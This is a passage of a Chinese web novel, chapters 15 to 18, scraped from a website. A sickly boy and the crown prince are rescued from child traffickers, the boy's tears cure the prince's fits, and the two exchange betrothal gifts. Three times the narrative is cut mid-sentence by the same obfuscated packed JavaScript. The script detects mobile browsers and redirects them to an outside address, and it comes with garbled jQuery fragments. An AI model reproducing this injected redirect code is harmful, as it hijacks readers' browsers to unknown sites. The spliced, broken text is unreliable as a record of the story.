温黎被带了个趔趄,眼见着就要从麻布袋上摔下来,幸好大哥哥眼疾手快地接住了他,让他稳稳落地,然后闻辞拉着温黎就往门口跑,其他的小孩跟在后面,等全部出去后就反锁了大门。 屋外是一片茫茫的树林,不知是何地,更辨认不了方向,众人只能漫无目的地跑着,似乎想着只要远离了这个屋子就能安全。 温黎紧紧地攥着闻辞的手,大口大口地喘息着,脸色泛着不正常的红晕,眼前开始变得模糊起来,肚子里传来一阵一阵地坠痛,他渐渐地跟不上闻辞的步伐了。 忽然听到了一阵“哒哒哒”的马蹄声,是一群异国装束的人。 为首的男子容貌清俊,目光孤傲凌厉,身着一袭劲装,高竖着马尾辫干脆利落,骑着高头大马,后头绑着那个三个人贩子,怀里是那个三岁的小娃娃,一看见温黎,眼睛瞬间一亮,朝他伸着手指,口齿不清地喊着,“果果!” 温黎抬眸望去,可已经什么都看不清了,松开了闻辞的手就倒了下去,彻底不省人事。 闻辞被这一幕吓得魂飞魄散,蹲在地上慌里慌张地拍着温黎的脸颊,大声喊着,“阿黎阿黎!你醒醒!” 可是温黎就这么静静地躺着,丝毫没有苏醒的意思,只有进气没有出气,连呼吸都十分微弱。 会死的,阿黎会死的! 闻辞被吓坏了,巨大的恐惧感席卷而来,呼吸不免变得急促起来,他环顾四周,只能去向那位男子求助,他连滚带爬地跑到了大马面前,“你……你救救他!他身体不好!喘不上气会死的!” 小娃娃也跟着着急,学着闻辞的样子揪着男子的衣领,“果果,果果,救果果。” 15. 第 15 章 男子名为虞苑,渊国来衍朝朝拜的使臣,途径此地,刚刚落脚,谁知道自家队伍里的赵流月和赵流星俩小兄弟去买了个糖葫芦的功夫就被掳走了,还好赵流月年纪大些,又和他们跑跑走走的,学了不少经验,悄悄地留下了线索,他们这才赶得及过来。 虞苑把这群孩子都带回了他们的暂时落脚点,又向京兆尹报案,温黎的病来得又凶又急,幸好队里有妙手回春的游医方知许,连忙给他号了脉,又喂了几颗护住心脉的药丸,气喘好了一些,但依旧高烧不退,浑身滚烫,意识不清楚地喊着“阿爹”,令人心疼不已。 温黎的身体实在是太差了,又受惊吓又是受苦受累的,闻辞颠三倒四地也说不清楚他的病症,让游医一时之间不敢用太重的药,只能暂时用温补的药吊着。 闻辞实在是没办法了,只能赌一把,于是将他们的真实身份说了出来,“他是温书礼温丞相的儿子,你们找人去丞相府,去把府医找来!他知道阿黎的病情,还有这些都给你们。” 并且,他将自己身上所有值钱的东西都掏了出来,其中有一块盘龙云纹的玉佩,能够证明他的身份,“把这个一起带给京兆尹,我是当朝太子,只要你们能救他,想要什么我都让父皇给你!” 虞苑怔怔地看着床上痛苦呼吸着的小娃娃,露出了难以置信的表情,随即反应过来,急忙催促着身边的人,情绪有些失控,“还不快去找!” 温黎烧得迷迷糊糊地,被泪水糊住了双眸,眼睛半合着,脸颊上的潮红一直没有缓解,哼哼唧唧地不知道在说些什么。 又不知是痒还是热,他挠着自己脖子,都有些红了。 “嗯嗯嗯,好好好。”虽然闻辞听不懂温黎的哼唧声,但还是事事有所回应,“乖阿黎,不可以再挠了,会破的。” 闻辞学着之前温书礼的样子,让室内燃起了火炉,一遍又一遍地给温黎擦拭着身体,以达到降温的效果。 明明他自己也是个不大的孩子却一直守在温黎的床上,寸步都不肯离开,最后连他也累倒了,被方知许抱了下去,喂了些药。 这活自然而然地落在了虞苑手里,他拧干了帕子,小心翼翼地给温黎擦着手臂,小孩的身体真的很软,像是软糕一样,都不敢用力气,生怕一不留神就给弄疼了、弄折了。 可虞苑到底是没有照顾小娃娃的经验,长期舞刀弄枪的手也手脚不知轻重,还是弄疼了软乎乎的小温黎,尚在睡梦中就把嘴巴撅得老高,“吧嗒吧嗒”地掉着金豆子,委屈巴巴地哭泣着,“疼,疼,呜呜呜呜……” 温黎不让他碰了,小手攥得紧紧地,从虞苑的手里抽出来缩到了一边去,迷迷糊糊地睁开了眼睛,什么都看不清楚,继续小声呜咽着,小模样好不可怜。 虞苑哪哄过这么个屁大点又软乎乎的小娃娃啊,冷若冰霜的脸上都被生生地撕开了一条裂缝,露出了焦急的神色,变得手忙脚乱起来,简直是一头两个大,只能手舞足蹈又生硬地安慰着,“你……你别哭啊,我给唱首歌吧!” “小娃娃,铃铃铃,骑大马,跨过高山好归家,哇哇哇,睡好觉,健健康康快长大……”虞苑的声音很轻,用着从未有过的温柔语气轻哄着,还轻轻地拍着他的心口。 温黎似乎是听见熟悉的歌谣,愣怔地都忘了哭泣,不禁吸了吸鼻子,睁着雾气蒙蒙的眼睛直愣愣地盯着虞苑看,虚弱又无力,“只有阿爹给我唱过这首歌,阿爹说那是阿娘教他的。” 虞苑一愣,躲避着眼神,随口道:“这就是普通的童谣,人人都会唱的。” 温黎瘪了瘪嘴巴,满眼都是失落,泪水不知觉地从眼角滑落,既委屈又难过,脆弱地喃喃喊着,“阿娘,阿娘……” 看得虞苑的心像是被一只无形的大手揪住了一般,生疼生疼的,忍不住握住了又小又滚烫的手,轻柔道:“不哭了,阿娘给你唱歌。”好像是默认了这个身份一样,他又轻轻浅浅地唱了起来。 不知道是歌谣还是不断地擦拭起了作用,温黎又沉沉地睡了过去,不再梦呓,可是呼吸时重时浅的毛病还是没有得到缓解,让那块大石头还重重地压在心底。 虞苑怜爱地抚摸着温黎的脸颊,手指轻轻柔柔,眼中尽是柔情与疼惜,不禁泛起了泪光。 忽然,手底下的侍卫来报,“大人大人,衍朝的温丞相来了!” 虞苑回过神来,犹如过电一般撤回了自己的手,立刻揉了揉眼睛,声音哽咽了一下,但很快恢复了正常,让人无法察觉,“快请进来!” 温书礼接到消息后就一路往这边赶,生生累死了一匹马才缩短了时间,天知道他知晓自家掌上明珠失踪的时候有多震惊与惊惧,感觉天都要塌了,赤红着眼睛恨不得把那些混蛋碎尸万段! 可在见到温黎的那一刻,浑身怨气都立刻散去,只剩下心疼与担忧,扑到了温黎的床前,眼圈瞬间就红了,内心悲痛,抖抖索索着不敢碰他,“儿啊……” 府医与院判见状赶忙上前,又是喂药又是搭脉的,忙得不可开交,焦急地满头大汗,一个时辰过去,病情总算是稳定了下来,众人纷纷松了一口气。 又是一炷香的时间,温黎这才缓缓地睁开了眼睛,见到了日思夜想的阿爹,连忙抬起虚弱的手去够,温书礼迎合了上去。 小温黎抱住了他,紧紧地攥着他的衣襟,生怕阿爹又不见了,哭得像只落水的小狗一样,惹人心疼与怜爱,“阿爹,你怎么才来啊……” 温书礼的心都要揪起来了,软得一塌糊涂,抱着小温黎不断地哄着,“不哭不哭,乖宝,阿爹在呢,让我们宝宝受委屈了。” 在场的人无不为之垂泪,闻言殷是之后赶过来的,下了马就去看闻辞,发现这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433066|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小子睡得香甜,院判把脉后也没什么大碍才放下心来,过来瞧瞧温黎。 巴掌大点的小脸儿还是红扑扑的,但万幸是不烧了,静静地躺在那儿,瘦削的小身板好像一阵风儿就能刮跑一样,我见犹怜。 没多久就有侍卫来报说太子殿下发狂了,几个彪形大汉都摁不住,太医也被挠出了几道血口子,最后只能勉强捆了起来。 院判步履匆匆地跑了过来,脸颊上还顶着两道血口子,还未来得及包扎,满脸惊恐,“陛下,太子殿下的病症比先前要严重地多了,毫无理智,还被喂了不知名的药物,那药古怪的很,微臣一时半会探究不出来啊,微臣是真的束手无策了,实在不行……不行的话就让温小公子去试试吧,之前他就有法子让殿下冷静下来。” “混账东西!你这是说什么话,太子殿下如今这副模样,让我儿去岂不是送死!”一向温润如玉的温书礼在触及自己的底线时也忍无可忍,他一直觉得若非是因为闻辞,自己的宝贝也不至于如此,转而又对着闻言殷,语气依旧强硬,“陛下,微臣只有这么一个孩子,如珠如玉地养大,他现在虚弱无力,是没办法承受太子殿下的戾气地。” 闻言殷也很是为难,他知道如果不是闻辞吵着闹着要出去也不会碰到这桩事,可一边是自己的亲儿子,一边是自己挚友的独苗苗,两边他都没办法割舍,一向心慈手软的他更没有办法用自己皇帝的身份去压制。 “去把那几个狠狠地审一审,到底给这些孩子喂了什么药!”闻言殷只能把气全撒在这些人贩子吧身上。 紧接着,另一个侍卫拿着一沓纸走了进来,“启禀陛下,这是渊国使臣呈上来的口供,那些人贩子说那是一些精神控制类的药物,若是长此以往地服用下去,就会精神失常,犹如行尸走肉一般,仅听一人差遣,但此药物还在研制阶段,他们抓这些孩子是为了试药,所以有什么副作用,连他们自己都不知道。” “废物!”闻言殷气急,在旁边急得团团转。 温书礼一听也慌了,冲到了侍卫面前,“我儿也喝了!他要不要紧!” 侍卫道:“队里的一个小孩说小公子把药都吐了出来。” 温书礼提到嗓子眼的气又落回了肚子里,他回到了床边,怜爱地看着温黎。 闻言殷深深地叹了一声气,“书礼,朕知道你不忍心,但朕实在是没有办法了,你权当是帮帮朕,帮帮朕的儿子吧。” 温书礼直接跪了下来,言辞恳切,“陛下的命令,臣不敢违抗,但臣求陛下看在臣这些年为陛下为衍朝鞠躬尽瘁的份上,让臣能留下一个独子。” “书礼……” 争吵中,温黎醒了过来,迷迷蒙蒙地睁开了眼睛,伸出细白的小手拽了拽温书礼的袖子,糯糯道:“阿爹,我去,你让我去看看吧,我不想……不想让阿辞死掉。” 16. 第 16 章 温书礼最终是拗不过温黎了,他想不明白一向听话乖巧的宝贝怎么会忽然变得这么执拗起来,还为了闻辞的病症弃自己的身体于不顾,老父亲一阵苦恼,恨不得自己能替儿子上阵。 一进来,温黎就嗅到了一股类似茯苓的气味,只是原本甘甜的味道变得十分的清苦,熏得人有些难受。 闻辞被五花大绑在床上,每个角落都被固定住,他双目赤红,凶狠地盯着每一个,手链脚链拽得“哗啦”作响,奋然发力时候还会吓人一大跳,暴虐得不像一个六岁大的孩子,像个小魔王,发狂的大狗,冲着侵犯自己领地的人狂吠。 温黎第一次见这样的闻辞,原来真正发病起来有这样的可怕,令他不禁紧攥着温书礼的衣袖,往他身后躲了躲。 “没关系,害怕的话,咱们就走吧。”温书礼轻声细语道。 闻言殷蹲下身摸了摸温黎的小脑袋,温柔又慈爱地劝说着,“阿黎,不怕,阿辞被锁住了,不会伤害你的,我们都在旁边呢。” 温黎咽了咽唾液,摇着头,声音细细小小又没有底气,“我不害怕。” 可是温黎不知道要做什么,这群不知所以的太医们也不知道这位小公子该如何帮助太子殿下度过病发期,都大眼瞪小眼着,最终还是院判端来了一碗药,让他过去喂。 温黎努力地给自己打气,端着药碗慢慢地挪到了床上,“阿辞,你乖乖……乖乖喝药。” 闻辞在对上温黎的视线时短暂地恢复了清明,虽然仅仅一闪而过,瞬间又暴躁起来,但没有刚刚那样反抗激烈,好像温黎是他的镇定剂一般,只是直勾勾地盯着他看。 温黎舀了一勺,手有些抖,勺子里的汤药微微晃动,被送到了闻辞面前。 在众人心提到嗓子眼的表情下,他一反常态地乖乖张开了嘴巴含住了勺子,咽下了那一口汤药,众人纷纷松了一口气。 谁知道闻辞一反常态,另辟蹊径,张开嘴巴就咬在了温黎的手臂上。 巨大的痛楚传来,生生逼出了温黎的眼泪,“吧嗒吧嗒”地落在了闻辞的脸颊上,裹挟着淡淡的桂花味,钻入了鼻腔,让闻辞眼底的猩红渐渐褪去。 暴戾的表情慢慢地被彷徨无助所取代,在看清温黎手臂上的牙印后,脸色煞白,仿佛一瞬间失去了所有血色,抖擞着嘴唇,不知该如何是好,“阿……阿黎……” 恢复过来的闻辞还没来得及上前一探温黎的伤情,就被一群太医围住,眼睁睁地看着温黎被温书礼抱走。 院判仔仔细细地把脉,惊奇地发现太子殿下的脉象已经恢复到了平稳状态,联想到之前的情况,找到了其中的共同点,惊觉道:“微臣知道了!是眼泪!小公子的眼泪可以缓解太子殿下的病症!” 等闻辞醒来后发现一群人围着他,好几双眼睛冒金光地盯着他,然后拿出了一个小金甁。 他看着一小瓶类不知名的液.体发懵,“这……这是药吗?就这么一点儿啊。” 院判催促着,满脸的期待,并做着快喝的手势,“就是药,太子殿下快喝吧。” 闻辞还是不敢相信,狐疑地凑近了闻了闻,紧锁的眉头舒展了一些,“怎么是桂花的味道啊?” “没有啊。” “怎么可能,这么浓郁的桂花味都没有闻到吗?你们鼻子塞了?” “没有啊。”众人依旧摇头,纷纷表示没有什么特殊的气味,就是普通的眼泪而已,甚至闻言殷都凑过来闻了闻也表示并没有,如果真的有味道,泪水只会是咸湿的。 虽然瓶子里也只有差不多一小口的量,但闻辞抱着试试的态度只轻轻地舔了一点,不禁砸吧了两下嘴巴,是血的口感,可味道一点都不腥,和桂花糖糕的味道很相似。 “这明明不是药,骗我呢。”闻辞十分地笃定,并且不打算再喝。 闻言殷道:“是泪,是阿黎的泪水,所以你要好好地喝掉,不能让阿黎白白哭那么多次。” “什么!”闻辞一脸震惊,看着这一小瓶子惊讶地说不出话来,第一个反应就是这得哭得有多伤心啊!而且他还咬了阿黎呢? 说着就要下床,“我要去看看阿黎!” 闻辞趁温书礼不注意溜进了温黎的房间,此时的温黎正在小口小口地喝着米粥,一瞧见他便弯了弯眼睛,“你恢复啦。” “痛不痛?” 温黎摇了摇头,而后又点了点头,瘪了瘪嘴巴,“痛的,你还咬我,也很痛,你看。”他把袖子撸了上去,露出了一个红艳艳的牙齿印,虽然没有破皮,但也足够触目惊心。 “阿黎,对不起,”闻辞满心满眼的都是愧疚,于是捞起了自己的袖子,露出白花花的胳膊,目光坚定且斩金截铁道:“阿黎,你也咬我吧!” “我不咬你,不可以咬人的。”温黎忽然想起来上次也咬过闻辞,莫名有些心虚。 闻辞把自己白花花的手臂伸过去都没用,不禁有些气馁,“对了,你的眼泪可以给我治病,那我的眼泪应该也可以给你治病啊。” “我不知道耶,大夫没有跟我说过。”温黎抿了抿嘴唇,声音细细小小的,倏地瞪大了眼睛,眼见着闻辞不知道从哪掏出来一把小刀割伤了自己的手心,他想要伸手去抓,但又怕伤了闻辞,只好僵在那儿不知所措,“你……你干什么!” 伤口不是很大,但也在滴血,巨大的疼痛生生逼出来闻辞的眼泪,着急忙慌地把脸凑了过去,“快舔啊,不要浪费了!” 温黎扯了被角捂在他伤口止血,然后伸手去接了好几滴泪水,舔了一口。 闻辞一脸期待地眨巴了两下眼睛,“什么味道的?” 温黎砸吧了两下嘴巴,仔细地感受了一下,“好像……有点点甜,也咸咸的,我说不出来是什么味道的。” 闻辞很是失落,原来自己对温黎而言也不是那么特殊的一个,但依旧不死心,“那你再尝尝!”说着就想再划一刀。 “不要,你快止住,我害怕。”温黎眼圈瞬间一红,是真的被吓到了,生怕闻辞流太多血会死掉,说什么都不肯再尝了。 “好吧,那等下次你生病的时候再试试。”话刚说出口,闻辞就觉得这样说很不好,于是连忙改口,“我还是希望阿黎永远都不要生病的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433067|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温黎低下了头,又抿起了嘴巴,眸色灰暗落寞,小小的年纪却好像饱含着复杂的情绪,他也不想生病的,可是他的身体就是这样的,可能一辈子都好不了了。 阿爹都为了他反抗皇帝了,就算他年岁不大,也知道皇权至上不可轻易说“不能”,他这样的就只会拖累旁人,如果他真的能帮到闻辞,让闻辞好起来的话,那也算是有些贡献了。 大大咧咧的闻辞不懂温黎心里的弯弯绕绕,还在看自己已经止住血的手心,想着为什么阿黎不跟他一样能尝到异样的气味呢。 温黎也不想继续聊这个话题了,于是转了话锋,“我觉得那个漂亮的叔叔是我阿娘。” “啊?他不是男子吗?男人也可以生娃娃啊?”闻辞的视线重新落在了温黎的脸上,一脸疑惑。 “我不知道,但他和画像很像啊。” “可是他的脸都模糊了,一点都看不清楚。” “我就是觉得他是。”温黎难得如此坚定。 闻辞思索了片刻,还是不敢相信,“男孩子不可以生娃娃的。” 温黎生气了,撅着嘴巴将被子一裹缩成了一小团,“不理你了!” “可是……就是不行啊。”闻辞不想让温黎生气,但事实就是事实啊,他不禁挠了挠脑袋。 百思不得其解的闻辞破天荒地跑去了闻言殷那里。 闻言殷对于自家儿子的主动到访十分,开心,马上就去安排了他最爱吃的果茶。 “父皇,男人可以生娃娃吗?”闻辞开门见山地问道。 “噗!”一向矜贵的皇帝闻言殷直接喷出了一口茶水,脸色涨得通红,眼神飘忽不定,“谁跟你说的?” “阿黎啊,他说他阿娘可能是救我们的那个叔叔。”闻辞的眼神清澈又纯真。 闻言殷捂着心口定了定神,深呼吸了好几下,“世界之大,无奇不有,等你长大就会明白。” “这么说,阿黎也可以生娃娃吗?”闻辞举一反三的能力十分强悍。 “不可以!”闻言殷大声道,毫无一个帝王的威仪,忽然想到了什么,目光锐利地盯着闻辞看,“你这臭小子,不要动什么歪心思,温书礼会砍死你的。” 闻言殷虽为帝王,但对内没什么王者之气,为人随和又仁善,他既是庶出又是幼子,处处受欺.辱,若无身为伴读的温书礼护着早不知道死在哪儿了,后来才慢慢地立了起来,性子变得刚强,所以哪怕是登基为帝,他对温书礼还是极为敬重与包容的,更知晓他的脾气秉性,肯定没有好果子吃。 “啊?什么歪心思?”闻辞歪着脑袋,一脸无辜样。 不过仔细想想自家的小魔王才几岁大,不可能懂这些的,是他思想龌龊了,闻言殷神色不正常地咳嗽了两下,有些欲盖弥彰。 然而没曾想,闻辞继续语出惊人,“是不是也可以跟阿黎成亲啊?” 闻辞的想法其实很简单,因为没有成亲,所以父母不可以在一起,而阿黎的父母又是两位男子,正好对应上了他与阿黎,同理可得如果他与阿黎成亲的话,他们就可以永远在一起啦! 17. 第 17 章 闻言殷又气又好笑,伸出手指轻轻地戳了戳闻辞的脑袋,“你才多大啊,想什么呢,还知道成亲,知道什么是成亲吗?这种小心思下次不许有。” 闻辞瘪了瘪嘴巴,一脸地不高兴,“父皇自己不成亲,还不让我成亲吗?我才不要做孤家寡人,然后抱着阿娘的画像哭泣呢。” 闻言殷被噎了一下,气得火冒三丈,但又下不去手凑自家孩子,只能甩了两下手,指了指,“好好好,你不是孤家寡人,你去和阿黎说你俩要成亲,阿黎要是同意了,朕就给你们赐婚。” 闻辞的眼眸瞬间一亮,从来不把自家父皇的话当一回事的他,第一次把父皇的话听了进去,立刻马不停蹄地跑回了温黎那儿,但被温书礼撞得个正着。 温书礼对闻辞咬了自家宝贝的事情还心存芥蒂,睨了一眼,“虽出门在外,但殿下也不可荒废学业,《论篆》可全文背诵了没有?” “背了哦,阿黎教我的。” 从前不管温书礼如何耳提面命都不能让闻辞好好学习,就只会偷奸耍滑,如今倒是挺听自家小崽的话。 “《礼记》呢?” “背了哦。” 温书礼看了一眼自家一身正气的崽,一副求夸赞的模样,那副乖乖巧巧又明媚的小模样实在是让人忍不住揉了揉小脑袋,然而对闻辞又换了一副面孔,“《衍朝史文录》呢?” 闻辞拧起了眉头,“这个我刚通读了一遍。” 温书礼像是找到了突破口一样,扬起了下巴,“此篇乃记录衍朝的历史,殿下身为太,应当更加勤勉,将此文背诵出来。” 温黎看出了闻辞面露难色,替他解围道:“阿爹,阿辞的身体才刚刚恢复呢,不能如此操劳的。” 温书礼轻轻地点了点温黎的小鼻子,“阿黎,你才六岁,不可以总是向着别人说话。” 养得白白嫩嫩又漂亮的小白菜怎么能跟猪跑了呢。 而身为小白菜的温黎毫无察觉,继续为闻辞说话,“可是我生病的时候,阿爹就没有再让我读书了啊,还会叫我‘乖宝宝,我们休息一下吧’。” 自家小崽儿的眼神实在是太清澈真挚了,让温书礼说不出任何话来,只能道:“好吧,我们休息一下吧。” 闻辞也十分会看眼色的回应着,“老师,我会好好学习的,我现在想和阿黎单独待一会儿。” 没了温书礼在旁边盯着,闻辞整个人都轻松了起来,往床上一坐,小小的抱怨着,“阿黎,你阿爹好凶哦。” 温黎不喜欢别人说阿爹的一点不好,秀气好看的眉头拧在了一起,“阿爹是一丝不苟,严慈并济,是为了让你知礼节懂荣辱,修身养性正身清心。” 闻辞立马改变了态度,哄着温黎,“好嘛好嘛,我会好好背的,等回宫之后我一定通篇背诵,一字不落。” 温黎点了点头,对闻辞良好的态度表示十分满意,然后把自己的小点心分给了他,“这是刚出炉的小锅巴,可酥脆了。” 闻辞一边啃着啃着小锅巴,一边悄悄地打量着温黎,一块锅巴吃完了,便握住了阿黎的手,露出了星星眼,一脸地期许,“阿黎,我们成亲吧,这样就可以永远待在一起,做一辈子的好朋友啦!” “可是只有夫妻才可以成亲啊。”温黎眨巴眨巴着眼睛,表示有些不理解。 虽不太懂其中具体含义,但他博览群书,还是知晓一些的,这样好像不太对啊。 “我们也是啊,我们有啾啾啊,我们是阿爹阿娘了,就像你我的阿爹阿娘一样,只是他们都没有成亲,所以不能做一辈子的好朋友的。”闻辞有理有据地解释着。 逻辑上似乎是没有错,温黎总觉得哪里有些不对劲,可是又说不上来,只能半信半疑地问道:“成亲了就可以做一辈子的好朋友吗?” “对啊对啊,好阿黎,你不想和我做一辈子朋友嘛?”闻辞的语气都变得清脆悦耳了起来,好像在哄着温黎一般。 “当然想啊,”温黎抿了抿嘴唇,思考了片刻,最终渴望战胜了理智,彻底被绕了进去,用力地点了点,“好啊,那我们成亲吧,永远都是好朋友!” 温黎绽开了笑容,眼睛都笑得弯弯的,嘴边的两颗小梨涡若隐若现,霎是可爱,像只白软软的小兔兔一样,好想亲一口! 小小的闻辞哪里忍得住,在温黎的脸蛋上“吧唧”了一大口,兴奋地手舞足蹈。 温黎摸了摸自己软软的脸蛋子,微微蹙着眉头,“阿爹说不可以随便亲人,你要争取同意的,这样是不礼貌的。” “哦。”闻辞乖乖地坐正了,学以致用地认真,“那我可以亲你一口嘛?” 温黎想了想,“嗯。” “嘿嘿。”然后闻辞又亲了一口,糊了小阿黎一脸口水。 *** 闻辞从老远就跑了过来,三步并两步,恨不得都要起飞了,“父皇父皇!阿黎同意了,以后要和我成亲,我们要做一辈子的好朋友!你快给我们赐婚呀!” 闻言殷忍俊不禁,但又不能打击自家小魔王的积极性,于是哄着道:“好好好,等回去了,朕就给你写一份诏书,给你与温黎赐婚,不过这份诏书你要好好地藏着,等长大了才能告诉其他人。” “为什么?” 因为太丢人了啊,哪有给太子与臣子赐婚的,哪怕衍朝民风开放,也没有这般明目张胆的,而且这要是被温书礼知道了,不得把房顶给掀了。 但闻言殷还是耐着性子跟闻辞解释着,“因为阿黎这么受喜爱,如果知道有这样的方式就能和阿黎永远做朋友,岂不是人人都要向朕求一份圣旨了?你想和别人分享阿黎吗?” 小孩子还是非常好糊弄的,闻辞被吓得一惊,连忙摇头,“不要不要,阿黎是独一无二的,只能我有!我不告诉别人,父皇你也不能说!” “好好好,我不说。”闻言殷眼含笑意地揉了揉闻辞的小脑袋,没由来地又叮嘱了一句,“不过等你长大了,还是要再问问阿黎的意愿,不可擅自做主啊。” 闻辞似懂非懂地点了点头。 *** “阿黎的身体已经差不多了,今日下午便可回宫。” 因着秘密赐婚的事情,闻言殷在面对温书礼时还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433068|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些心虚,轻轻地咳了咳,“嗯。” 虞苑一出来就碰见了和闻言殷走在一起的温书礼,立马躲了起来,好像羞于见面一样。 “不见见吗?”闻言殷意有所指。 温书礼瞥见了一片衣角,淡淡地摇了摇头,“当年之事,他是迫不得已,我是一厢情愿,还是不见的好。” “他作为使臣来衍朝朝拜,势必会再碰面的,朕命你与礼部一同举行纳贡仪式,安顿各国使臣,不要给自己留有遗憾。”闻言殷拍着他的肩膀,冲他笑了笑。 温书礼只是垂着眼眸,并不言语。 京中小孩被拐一事已经告一段落,皆是一些邪魔外道搞出来的,已经被下令处罚,一干人等斩首示众。 不知是从何处流传出的传言,说是太子殿下救了被抓的小儿,一时之间,闻辞的风评有了质的飞跃,家家户户都在称赞,获得了一批民心,甚至有不少大臣上书大为赞赏此等行为,把闻言殷夸成了翘嘴。 而陈之昂在得知消息后,对控制人精神行为这一类药物产生了极为浓厚的兴趣,认为此事若成,可用到日后军事领域,能够一举得胜。 闻言殷眉头紧锁,“陈之昂,你知道自己在说什么吗?此事是无稽之谈,其效用究竟是不是他们所说的那样,根本无从知晓。” “陛下,凡事都是要试验的,倘若真如他们所言……” 闻言殷直接打断了陈之昂的话,难得动了怒,“这是邪魔歪术!用无辜小儿做试验,其手段简直是令人发指,我泱泱大衍朝绝不可行此事。” “陛下,虽说我衍朝实力强盛,但自从陛下上任之后只守城而无建树,我衍朝如何能扩大势力扩大版图?” 先帝在世时最喜欢做的事情便是不断侵略,将其余小国全部化为衍朝地界,导致战争四起民不聊生,武帝也再一次讨伐中被人暗算而亡,而他其他的兄弟均死的死残的残。 闻言殷已经被战乱给弄怕了,并且十分痛恨,所以他继任之后渐渐地杜绝这种行为,令温书礼为外交官游说诸国、恩威并施,因此成为附属国,避免了战争的爆发。 “陈之昂,你是见朕的脾气好,所以都敢来做朕的主了?”闻言殷眯了眯眼睛,不怒自威地盯着他看。 陈之昂立刻低下了头,“臣不敢。” “今日朕就当从未听过你这番话。” 陈之昂出去时正好碰上了温书礼,两人政见不一,通常是面和心不合,见面也不过是点头之交。 然而这次温书礼率先发话,“不知陈大人幼子之伤可好些了, 自家孩子被打一事一直是扎在陈之昂心里的一根刺,加之自己死对头的孩子却能在太子手上相安无事,更加令人愤慨,不禁咬牙切齿着,“真是有劳温大人挂心了。” “孩子是为人父母的心头宝,你我虽有不合,但皆是为了衍朝着想,可牵扯上孩子的事情就不同了。”温书礼目光锐利,似乎能看穿对方的一切伪装。 两人四目相对,电石火花之间,皆读懂了双方的意思,陈之昂轻轻一笑,笑意却未达眼底,“温大人说的是啊。” 18. 第 18 章 刚回到皇宫,闻辞就纠缠着闻言殷写诏书,生怕他给忘记了,得到圣旨之后整个人前所未有的明媚,甚至破天荒地在自家父皇的脸颊上亲了一大口,“吧唧”一声响彻整个长胜殿。 等闻辞走后闻言殷依旧摸着自己的脸颊,还沉浸在震惊之中,渐渐地,脸上的欢喜之色越来越浓重,对身边的德英指着自己的脸颊,道:“你瞧见没有,阿辞亲朕了,天呐,阿辞何时与朕这般亲近了,阿黎简直是我衍朝的福星啊!” 闻言殷兴奋地在殿内来回踱步,“快快快,给我那未来的‘儿媳妇’赏赐些东西,多多赏赐,海玉刚送来一车珍惜的南海珍珠,全给他,做一件珍珠罩衫!阿黎爱读书习字,还有西域来的古玩字画,也一并带去,就说他与太子共救被拐小儿有功!”他怎么都觉得不够,又让德英把礼单拿出来。 “是是是。”德英眉开眼笑地应承着,他甚少见到皇帝陛下笑得这般开心,他也跟着高兴起来。 第二日一觉醒来,温黎差点儿被满屋子的宝物亮瞎了眼睛,不可置信地看着站在一旁笑眯眯的德英,以为是自己还没有睡醒呢,连忙揉了揉眼睛。 德英笑道:“这是陛下赏赐给小公子的,说是小公子英勇无畏机敏聪慧,在抓捕人贩子行动出了很大的力气。” 温黎被夸得羞红了脸,腼腆地笑了起来,两只小梨涡若隐若现,整个人都是粉扑扑的,像只小兔子一样特别的绵软可爱,“也……也没有那么好啦,多谢陛下厚爱。” “这是小公子应得的,若无事奴才就先回去了。”德英躬了躬身子。 温黎看了一眼身侧侍从,侍从心领神会,拿出一包银子放在了德英手中,德英推脱了两下最终手下,“小公子折煞老奴了。” “公公费心。”温黎浅浅一笑,气质温润如玉。 待德英公公走后,温黎起来洗漱,刚穿戴整齐,闻辞就进来了,神神秘秘地揣着一只小盒子,神情紧张又兴奋。 一打开,是一只莲花缠丝红玉镂空镯,金线缠绕着镯身,做出莲花的纹样,细致精巧出淤泥而不染,红玉如同鸽子血一般红艳,内里毫无杂质,纯净晶亮。 卡扣可以自动调节大小,戴上温黎的手上正好合适,与一只雪白的腕子相得益彰。 “这是我给你聘礼,好不好看?”闻辞有些赧然地揉了揉鼻子。 “好看。”温黎越看越是喜欢。 “我也有东西要给你。”温黎摘下了自己随身携带的玉佩,用细白的小手轻轻地描摹着一寸纹理,“这是我出生时阿爹用陛下赏赐的和田玉令玉石匠为我打造的如意祥云瑞兽玉佩,说是可以保佑平安,这是我的聘礼,赠予你。” 如意祥云瑞兽佩,大概有手掌心那么大小,雕刻技艺巧夺天工,瑞兽踏着祥云而来栩栩如生。 